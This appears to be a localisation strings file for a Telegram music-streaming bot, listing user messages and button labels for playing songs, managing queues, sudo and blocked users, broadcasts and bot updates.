cplay_1 : "» ʏᴏᴜ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴄʜᴀɴɴᴇʟs ғʀᴏᴍ {0} ᴛᴏ ᴀɴʏ ᴄʜᴀɴɴᴇʟ ᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ's ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ.\n\nғᴏʀ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ :\n/channelplay linked\n\nғᴏʀ ᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀɴɴᴇʟ :\n/channelplay [ᴄʜᴀɴɴᴇʟ ɪᴅ]"
cplay_2 : "» ᴛʜɪs ᴄʜᴀᴛ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴀɴʏ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ."
cplay_3 : "» ᴄʜᴀɴɴᴇʟ ᴅᴇғɪɴᴇᴅ ᴛᴏ {0}.\nᴄʜᴀɴɴᴇʟ ɪᴅ : {1}"
cplay_4 : "» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ.\n\nᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ'ᴠᴇ ᴀᴅᴅᴇᴅ ᴛʜᴇ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ᴀs ᴀᴅᴍɪɴ."
cplay_5 : "ᴏɴʟʏ ᴄʜᴀɴɴᴇʟs ᴀʀᴇ sᴜᴘᴘᴏʀᴛᴇᴅ."
cplay_6 : "» ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ {0} ᴛᴏ ᴄᴏɴɴᴇᴄᴛ ɪᴛ ᴡɪᴛʜ ᴛʜɪs ɢʀᴏᴜᴘ.\nᴄʜᴀɴɴᴇʟ's ᴏᴡɴᴇʀ : @{1}\n\nᴀʟᴛᴇʀɴᴀᴛɪᴠᴇʟʏ ʏᴏᴜ ᴄᴀɴ ʟɪɴᴋ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ ᴛʜᴀᴛ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴄᴏɴɴɴᴇᴄᴛɪɴɢ ᴡɪᴛʜ /channelplay linked"
cplay_7 : "» ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴅɪsᴀʙʟᴇᴅ."
# Song
song_1 : "ʏᴏᴜ ᴄᴀɴ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴜsɪᴄ ᴏʀ ᴠɪᴅᴇᴏ ꜰʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ᴏɴʟʏ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ. ᴘʟᴇᴀsᴇ sᴛᴀʀᴛ ᴍᴇ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ."
song_2 : "**ᴜsᴀɢᴇ:**\n\n/song [ᴍᴜsɪᴄ ɴᴀᴍᴇ] ᴏʀ [ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ]"
song_3 : "ʟɪᴠᴇ ʟɪɴᴋ ᴅᴇᴛᴇᴄᴛᴇᴅ. ɪ ᴀᴍ ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ʟɪᴠᴇ ʏᴏᴜᴛᴜʙᴇ ᴠɪᴅᴇᴏs. "
song_4 : "📌**ᴛɪᴛʟᴇ**:- {0}\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴛʏᴘᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ."
song_5 : "ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ."
song_6 : "ɢᴇᴛᴛɪɴɢ ꜰᴏʀᴍᴀᴛs...\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
song_7 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴀᴠᴀɪʟᴀʙʟᴇ ꜰᴏʀᴍᴀᴛs ꜰᴏʀ ᴛʜᴇ ᴠɪᴅᴇᴏ. ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɴʏ ᴏᴛʜᴇʀ ᴛʀᴀᴄᴋ."
song_8 : "ᴅᴏᴡɴʟᴏᴀᴅ sᴛᴀʀᴛᴇᴅ\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ ғᴏʀ ғᴇᴡ sᴇᴄᴏɴᴅs..."
song_9 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ sᴏɴɢ ꜰʀᴏᴍ ʏᴛ-ᴅʟ\n\n**ʀᴇᴀsᴏɴ:** {0}"
song_10 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ ᴛᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀs."
song_11 : "ᴜᴘʟᴏᴀᴅɪɴɢ sᴛᴀʀᴛᴇᴅ ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
play_1 : "✨ 𝑷𝒓𝒐𝒄𝒆𝒔𝒔𝒊𝒏𝒈....🥀"
play_2 : "➻ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ\n\nᴘʀᴏᴄᴇssɪɴɢ, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ : {0}"
play_3 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ."
play_4 : "ᴀᴅᴍɪɴs ᴏɴʟʏ ᴘʟᴀʏ\nᴏɴʟʏ ᴀᴅᴍɪɴs ᴏғ ᴛʜɪs ᴄʜᴀᴛ ᴀʀᴇ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ\n\nᴄʜᴀɴɢᴇ ᴘʟᴀʏ ᴍᴏᴅᴇ ᴠɪᴀ /playmode"
play_5 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ᴀᴜᴅɪᴏ ғɪʟᴇ.\n\nᴀᴜᴅɪᴏ ғɪʟᴇ sɪᴢᴇ ɪs ʟᴀʀɢᴇʀ ᴛʜᴀɴ ᴛʜᴇ ᴅᴇғɪɴᴇᴅ ʟɪᴍɪᴛ."
play_6 : "» sᴛʀᴇᴀᴍ's ʟᴏɴɢᴇʀ ᴛʜᴀɴ {0} ᴀʀᴇɴ'ᴛ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ ᴏɴ {1}"
play_7 : "» ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ᴠɪᴅᴇᴏ ғɪʟᴇ ᴇxᴛᴇɴsɪᴏɴ.\n\nsᴜᴘᴘᴏʀᴛᴇᴅ ᴇxᴛᴇɴsɪᴏɴs : {0}"
play_8 : "» ᴠɪᴅᴇᴏ ғɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 1ɢɪʙ."
play_9 : "ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ғᴇᴀᴛᴜʀᴇ\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴡʜᴏʟᴇ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ."
play_10 : "ᴛɪᴛʟᴇ : {0}\nᴅᴜʀᴀᴛɪᴏɴ : {1} ᴍɪɴᴜᴛᴇs"
play_11 : "{0} sᴘᴏᴛɪғʏ ᴘʟᴀʏᴇʀ\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}"
play_12 : "{0} ᴀᴘᴘʟᴇ ᴘʟᴀʏᴇʀ\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}"
play_13 : "» ʟɪᴠᴇ sᴛʀᴇᴀᴍ ᴅᴇᴛᴇᴄᴛᴇᴅ.\n\nᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴡᴀɴɴᴀ ᴘʟᴀʏ ᴛʜɪs ʟɪᴠᴇ sᴛʀᴇᴀᴍ ?"
play_14 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ᴛʀᴀᴄᴋ ᴅᴇᴛᴀɪʟs.\n\nᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɴʏ ᴏᴛʜᴇʀ."
play_15 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ.\n\nɪ ᴄᴀɴ ᴏɴʟʏ ᴘʟᴀʏ sᴘᴏᴛɪғʏ ᴛʀᴀᴄᴋs, ᴀʟʙᴜᴍs, ᴀʀᴛɪsᴛs ᴀɴᴅ ᴘʟᴀʏʟɪsᴛs."
play_16 : "ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ.\n\nᴛᴏ ᴜsᴇ ғᴏʀᴄᴇ ᴩʟᴀʏ, ᴛʜᴇʀᴇ ᴍᴜsᴛ ʙᴇ ᴀɴ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇᴄʜᴀᴛ."
play_17 : "ᴘʟᴇᴀsᴇ ᴛᴜʀɴ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ɪ'ᴍ ᴜɴᴀʙʟᴇ ᴛᴏ sᴛʀᴇᴀᴍ ᴜʀʟs."
play_18 : "ᴜsᴀɢᴇ : /play [sᴏɴɢ ɴᴀᴍᴇ/ʏᴏᴜᴛᴜʙᴇ ᴜʀʟ/ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ғɪʟᴇ]"
play_19 : "Queued Playlist :"
play_20 : "Queued Position-"
play_21 : "ᴀᴅᴅᴇᴅ {0} ᴛʀᴀᴄᴋs ᴛᴏ ǫᴜᴇᴜᴇ.\n\nᴄʜᴇᴄᴋ : ᴄʟɪᴄᴋ ʜᴇʀᴇ"
play_22 : "sᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴛʜᴇ ǫᴜᴇʀɪᴇs ɪɴsɪᴅᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ : {0}"
help_1 : "ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /"
help_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴍʏ ʜᴇʟᴘ ᴍᴇɴᴜ ɪɴ ʏᴏᴜʀ ᴘᴍ."
str_1 : "ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍ3ᴜ8 ᴏʀ ɪɴᴅᴇx ʟɪɴᴋs."
str_2 : "➻ ᴠᴀʟɪᴅ sᴛʀᴇᴀᴍ ᴠᴇʀɪғɪᴇᴅ.\n\nᴘʀᴏᴄᴇssɪɴɢ..."
str_3 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴛʀᴇᴀᴍ ʏᴏᴜᴛᴜʙᴇ ʟɪᴠᴇ sᴛʀᴇᴀᴍ, ɴᴏ ʟɪᴠᴇ ꜰᴏʀᴍᴀᴛ ꜰᴏᴜɴᴅ."
ping_1 : "{0} ɪs ᴘɪɴɢɪɴɢ..."
ping_2 : "🏓 ᴩᴏɴɢ : {0}ᴍs\n\n{1} sʏsᴛᴇᴍ sᴛᴀᴛs :\n\n✨ ᴜᴩᴛɪᴍᴇ : {2}\n❄️ ʀᴀᴍ : {3}\n💫 ᴄᴩᴜ : {4}\n🔮 ᴅɪsᴋ : {5}\n☁️ ᴩʏ-ᴛɢᴄᴀʟʟs : {6}ᴍs"
queue_1 : "» ғᴇᴛᴄʜɪɴɢ ǫᴜᴇᴜᴇ...\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
queue_2 : "» ǫᴜᴇᴜᴇ ᴇᴍᴘᴛʏ."
queue_3 : "» ᴄʟɪᴄᴋ ʜᴇʀᴇ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ ʟɪsᴛ ᴏғ ᴛʜᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs : ʜᴇʀᴇ"
queue_4 : "➲ Aᴅᴅᴇᴅ Tᴏ Qᴜᴇᴜᴇ Aᴛ #{0}\n\n‣ Tɪᴛʟᴇ : {1}\n‣ Dᴜʀᴀᴛɪᴏɴ : {2} ᴍɪɴᴜᴛᴇs\n‣ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {3}"
queue_5 : "ᴛʜᴇʀᴇ's ᴏɴʟʏ ᴏɴᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋ ɪɴ ᴘʟᴀʏʟɪsᴛ.\n\nᴀᴅᴅ ᴍᴏʀᴇ ᴛʀᴀᴄᴋs ᴛᴏ ᴄʜᴇᴄᴋ ʟɪsᴛ."
queue_6 : "🕚 ᴅᴜʀᴀᴛɪᴏɴ : ᴜɴᴋɴᴏᴡɴ ᴅᴜʀᴀᴛɪᴏɴ sᴛʀᴇᴀᴍ\n\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ."
queue_7 : "\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ."
queue_8 : "{0} ᴘʟᴀʏᴇʀ\n\n🎄 sᴛʀᴇᴀᴍɪɴɢ : {1}\n\n🔗 sᴛʀᴇᴀᴍ ᴛʏᴘᴇ : {2}\n🥀 ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {3}\n{4}"
stream_1 : "➲ Bʀᴀɴᴅᴇᴅ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |\n\n
➠ Tɪᴛʟᴇ :{1}\n➠ Dᴜʀᴀᴛɪᴏɴ : {2} ᴍɪɴᴜᴛᴇs\n➠ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ {3}\n
➠ ϻᴧᴅє ʙʏ ➛ [𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𝗞𝗜𝗡𝗚](https://t.me/BRANDEDKING8)" stream_2 : "
➲ Bʀᴀɴᴅᴇᴅ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |\n\n
➠ Sᴛʀᴇᴀᴍ ᴛʏᴘᴇ :ʟɪᴠᴇ sᴛʀᴇᴀᴍ [ᴜʀʟ]\n➠ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {0}" #General CLOSE_BUTTON : "↻ ᴄʟᴏsᴇ ↻" CLOSEMENU_BUTTON : "↻ ᴄʟᴏsᴇ ↻" BACK_BUTTON : "↻ ʙᴀᴄᴋ ↻" NEXT_PAGE: "▷" BACK_PAGE: "◁" UNBAN_BUTTON : "• ᴜɴʙᴀɴ •" #Lyrics L_B_1 : "🚀 ᴄʜᴇᴄᴋᴏᴜᴛ ʟʏʀɪᴄs ɴᴏᴡ" #PlaylistButtons PL_B_1 : "🌌 ᴘʟᴀʏʟɪsᴛ 🌌" PL_B_2 : "• ᴘʟᴀʏʟɪsᴛs •" PL_B_3 : "• ᴍᴇɴᴜ •" PL_B_4 : "🎧 ᴘʟᴀʏ ᴍᴏᴅᴇ" PL_B_5 : "🗑 ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ" PL_B_6 : "🗑 ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ" PL_B_7 : "🥺 ʏᴇᴀʜ, ᴅᴇʟᴇᴛᴇ ɪᴛ" PL_B_8 : "🔢 ᴘʟᴀʏ ᴛᴏᴘ 10" PL_B_9 : "🔥 ᴘʟᴀʏ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs" PL_B_10 : "🏘 ᴘʟᴀʏ ɢʀᴏᴜᴘ's ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs" PL_B_11 : "💖 ᴘʟᴀʏ ᴘᴇʀsᴏɴᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs" #Song SG_B_1 : "• ᴄʟɪᴄᴋ ʜᴇʀᴇ •" SG_B_2 : "🎧 ᴀᴜᴅɪᴏ 🎧" SG_B_3 : "🎥 ᴠɪᴅᴇᴏ 🎥" # Start S_B_1 : "ᴀᴅᴅ ᴍᴇ" S_B_2 : "sᴜᴘᴘᴏʀᴛ" S_B_3 : "ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ" S_B_4 : "ʜᴇʟᴘ ᴀɴᴅ ᴄᴏᴍᴍᴀɴᴅ" S_B_5 : "ᴏᴡɴᴇʀ" S_B_6 : "ᴄʜᴀɴɴᴇʟ" S_B_8 : "ʏᴏᴜᴛᴜʙᴇ" S_B_9 : "sᴜᴩᴩᴏʀᴛ" H_B_1 : "Aᴅᴍɪɴ" H_B_2 : "Aᴜᴛʜ" H_B_3 : "Bʀᴏᴀᴅᴄᴀsᴛ" H_B_4 : "Bʟ-Cʜᴀᴛ" H_B_5 : "Bʟ-Usᴇʀ" H_B_6 : "C-Pʟᴀʏ" H_B_7 : "G-Bᴀɴ" H_B_8 : "Lᴏᴏᴘ" H_B_9 : "Mᴀɪɴᴛᴇɴᴀɴᴄᴇ" H_B_10 : "Pɪɴɢ" H_B_11 : "Pʟᴀʏ" H_B_12 : "Sʜᴜғғʟᴇ" H_B_13 : "Sᴇᴇᴋ" H_B_14 : "Sᴏɴɢ" H_B_15 : "Sᴘᴇᴇᴅ" H_B_16 : "ɢᴘᴛ" H_B_17 : "Rᴇᴇʟ" H_B_18 : "ᴛᴀɢ-ᴀʟʟ" H_B_19 : "ɪɴғᴏ" H_B_20 : "Hɪsᴛᴏʀʏ" H_B_21 : "ᴇxᴛʀᴀ" H_B_22 : "ɪᴍᴀɢᴇ" H_B_23 : "ᴀᴄᴛɪᴏɴ" H_B_24 : "sᴇᴀʀᴄʜ" P_B_1 : "⛦ ᴀᴜᴅɪᴏ " P_B_2 : " ᴠɪᴅᴇᴏ 🥀" P_B_3 : "⛦ ʟɪᴠᴇ sᴛʀᴇᴀᴍ " P_B_4 : " ɴᴏʀᴍᴀʟ 🥀" ST_B_1 : "Aᴜᴛʜ ᴜsᴇʀs" ST_B_2 : "Pʟᴀʏ ᴍᴏᴅᴇ" ST_B_3 : "Lᴀɴɢᴜᴀɢᴇ" ST_B_4 : "Vᴏᴛɪɴɢ ᴍᴏᴅᴇ" ST_B_5 : "ᴏɴ" ST_B_6 : "ᴏғғ" ST_B_7 : "Aᴜᴛʜ ᴜsᴇʀs ➜" ST_B_8 : "ᴀᴅᴍɪɴs" ST_B_9 : "ᴇᴠᴇʀʏᴏɴᴇ" ST_B_10 : "Sᴇᴀʀᴄʜ ᴍᴏᴅᴇ ➜" ST_B_11 : "ᴅɪʀᴇᴄᴛ" ST_B_12 : "ɪɴʟɪɴᴇ" ST_B_13 : "Aᴅᴍɪɴ ᴄᴍᴅs ➜" ST_B_14 : "Pʟᴀʏ ᴛʏᴘᴇ ➜" SA_B_1 : "ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs" SA_B_2 : "☁️ ɢᴇɴᴇʀᴀʟ" SA_B_3 : "🔮 ᴏᴠᴇʀᴀʟʟ" QU_B_1 : "ǫᴜᴇᴜᴇ" QU_B_2 : " {0} —————————— {1}" sudo_1 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_3 : "» {0} ɪs ɴᴏᴛ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ." sudo_5 : "🥀 ᴏᴡɴᴇʀ :\n" sudo_6 : "\n✨ sᴜᴅᴏ ᴜsᴇʀs :\n" sudo_7 : "» ɴᴏ sᴜᴅᴏ ᴜsᴇʀs ғᴏᴜɴᴅ." sudo_8 : "ғᴀɪʟᴇᴅ." block_1 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴏᴄᴋᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ." block_2 : "» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ." block_3 : "» {0} ɪs ɴᴏᴛ ɪɴ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ." block_4 : "» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ." block_5 : "» ɴᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ғᴏᴜɴᴅ." block_6 : "» ɢᴇᴛᴛɪɴɢ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ..." block_7 : "😫 ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs :\n\n" black_1 : "ᴇxᴀᴍᴘʟᴇ :\n\n/blacklistchat [ᴄʜᴀᴛ ɪᴅ]" black_2 : "» ᴛʜɪs ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ." black_3 : "» sᴜᴄᴄᴇssғᴜʟʟʏ ᴀᴅᴅᴇᴅ ᴛᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs." black_4 : "ᴇxᴀᴍᴘʟᴇ :\n\n/whitelistchat [ᴄʜᴀᴛ ɪᴅ]" black_5 : "» ᴛʜɪs ᴄʜᴀᴛ ɪs ɴᴏᴛ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ." black_6 : "» sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇᴍᴏᴠᴇᴅ ғʀᴏᴍ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs." black_7 : "» ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs :\n\n" black_8 : "» ɴᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs ᴏɴ {0}." black_9 : "» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ." maint_1 : "ᴇxᴀᴍᴘʟᴇ :\n/maintenance [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]" maint_2 : "» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴇɴᴀʙʟᴇᴅ." maint_3 : "» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴅɪsᴀʙʟᴇᴅ." maint_4 : "» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴇɴᴀʙʟᴇᴅ." maint_5 : "» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴅɪsᴀʙʟᴇᴅ." log_1 : "ᴇxᴀᴍᴘʟᴇ :\n/logger [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]" log_2 : "ᴇɴᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ." log_3 : "ᴅɪsᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ." broad_1 : "» sᴛᴀʀᴛᴇᴅ ʙʀᴏᴀᴅᴄᴀsᴛɪɴɢ..." broad_2 : "ᴇxᴀᴍᴘʟᴇ :\n\n/broadcast [ᴍᴇssᴀɢᴇ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ]" broad_3 : "» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴄʜᴀᴛs ᴡɪᴛʜ {1} ᴘɪɴs ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ." broad_4 : "» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴜsᴇʀs." broad_5 : "» sᴛᴀʀᴛɪɴɢ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ..." broad_6 : "➻ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ :\n\n" broad_7 : "↬ ᴀssɪsᴛᴀɴᴛ {0} ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ɪɴ {1} ᴄʜᴀᴛs." broad_8 : "» ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ʙʀᴏᴀᴅᴄᴀsᴛ." server_1 : "» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ʟᴏɢs." server_2 : "ᴘʟᴇᴀsᴇ ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜʀ ʜᴇʀᴏᴋᴜ ᴀᴘɪ ᴋᴇʏ ᴀɴᴅ ᴀᴘᴘ ɴᴀᴍᴇ ᴀʀᴇ ᴄᴏɴғɪɢᴜʀᴇᴅ ᴄᴏʀʀᴇᴄᴛʟʏ." server_3 : "ᴄʜᴇᴄᴋɪɴɢ ꜰᴏʀ ᴀᴠᴀɪʟᴀʙʟᴇ ᴜᴘᴅᴀᴛᴇs..." server_4 : "ɢɪᴛ ᴄᴏᴍᴍᴀɴᴅ ᴇʀʀᴏʀ." server_5 : "ɪɴᴠᴀʟɪᴅ ɢɪᴛ ʀᴇᴘsɪᴛᴏʀʏ." server_6 : "» ʙᴏᴛ ɪs ᴜᴘ-ᴛᴏ-ᴅᴀᴛᴇ." server_7 : "» ʙᴏᴛ ᴜᴩᴅᴀᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ! ɴᴏᴡ ᴡᴀɪᴛ ғᴏʀ ғᴇᴡ ᴍɪɴᴜᴛᴇs ᴜɴᴛɪʟ ᴛʜᴇ ʙᴏᴛ ʀᴇsᴛᴀʀᴛs ᴀɴᴅ ᴩᴜsʜ ᴄʜᴀɴɢᴇs !" server_8 : "{0} ɪs ʀᴇsᴛᴀʀᴛɪɴɢ...\n\nʏᴏᴜ ᴄᴀɴ sᴛᴀʀᴛ ᴩʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 15-20 sᴇᴄᴏɴᴅs." server_9 : "sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ, ᴩʟᴇᴀsᴇ ᴄʜᴇᴄᴋ ʟᴏɢs." server_10 : "ᴀɴ ᴇxᴄᴇᴩᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ ᴀᴛ #ᴜᴩᴅᴀᴛᴇʀ ᴅᴜᴇ ᴛᴏ :
{0}"
server_11 : "» ʀᴜɴɴɪɴɢ ᴀ sᴘᴇᴇᴅᴛᴇsᴛ..."
server_12 : "⇆ ʀᴜɴɴɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ..."
server_13 : "⇆ ʀᴜɴɴɪɴɢ ᴜᴩʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ..."
